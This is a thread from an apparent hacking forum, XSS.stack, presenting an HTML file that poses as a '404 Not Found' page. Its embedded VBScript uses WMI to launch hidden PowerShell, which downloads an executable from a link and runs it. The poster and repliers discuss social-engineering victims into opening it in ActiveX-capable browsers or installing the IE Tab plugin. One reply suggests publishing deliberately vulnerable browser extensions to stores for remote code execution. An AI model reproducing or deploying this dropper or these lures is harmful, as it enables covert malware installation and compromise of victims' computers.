• XSS.stack #1 – первый литературный журнал от юзеров форума

Html Local Code Execution

AndroidSpy

HDD-drive
Забанен
Регистрация
26.07.2022
Сообщения
32
Реакции
7
Пожалуйста, обратите внимание, что пользователь заблокирован
What is Html Local Code Execution?

If the person runs the specific html file through the browser, the exe file in the link we target is downloaded and run. The optional command can be changed and added to other things, it's up to your creativity.

code:
<html>
<head>
<title> >_ </title>
<center><h1>404 Not Found</h1></center>
<script language="VBScript">
Sub window_onload
const impersonation = 3
Const HIDDEN_WINDOW = 12
Set Locator = CreateObject("WbemScripting.SWbemLocator")
Set Service = Locator.ConnectServer()
Service.Security_.ImpersonationLevel=impersonation
Set objStartup = Service.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set Process = Service.Get("Win32_Process")
Error = Process.Create("cmd.exe /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('file is direct download link','%temp%\exploit.exe');Start-Process '%temp%\exploit.exe'", null, objConfig, intProcessID)
window.close()
end sub
</script>
</head>
</html>


Not working in every browser, working in browsers that support ACTIVEX (for example avant browser), if your social engineering is good, by editing the page content convincingly, when the other person opens it in chrome (or another browser), this file cannot be opened outside Avant Browser as text, click to download, etc. You can trick it with etc.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
who use IE 5 these days?)) thanks for post
Not only for ie 5, works on ie tab addon, avant browser and etc. If you can get the victim to install the ie tab plugin, you can hack it easily, you are welcome.
 
Not only for ie 5, works on ie tab addon, avant browser and etc. If you can get the victim to install the ie tab plugin, you can hack it easily, you are welcome.
With the same success, you can write a plugin for Firefox \ Chrome and upload it to the official store, leaving a vulnerability in the plugin for an RCE attack, then persuade the victim to install your plugin / extension
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Not only for ie 5, works on ie tab addon, avant browser and etc. If you can get the victim to install the ie tab plugin, you can hack it easily, you are welcome.
Too much social engineering but nice idea. I am an old school guy from browser exploitkit days)) been a long time since i used any browser exploitkit (4 years).
I wish those days could come back )))

With the same success, you can write a plugin for Firefox \ Chrome and upload it to the official store, leaving a vulnerability in the plugin for an RCE attack, then persuade the victim to install your plugin / extension
when you already have victim installed your plugin why would you want him to install another plugin? you have acess no? )))
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх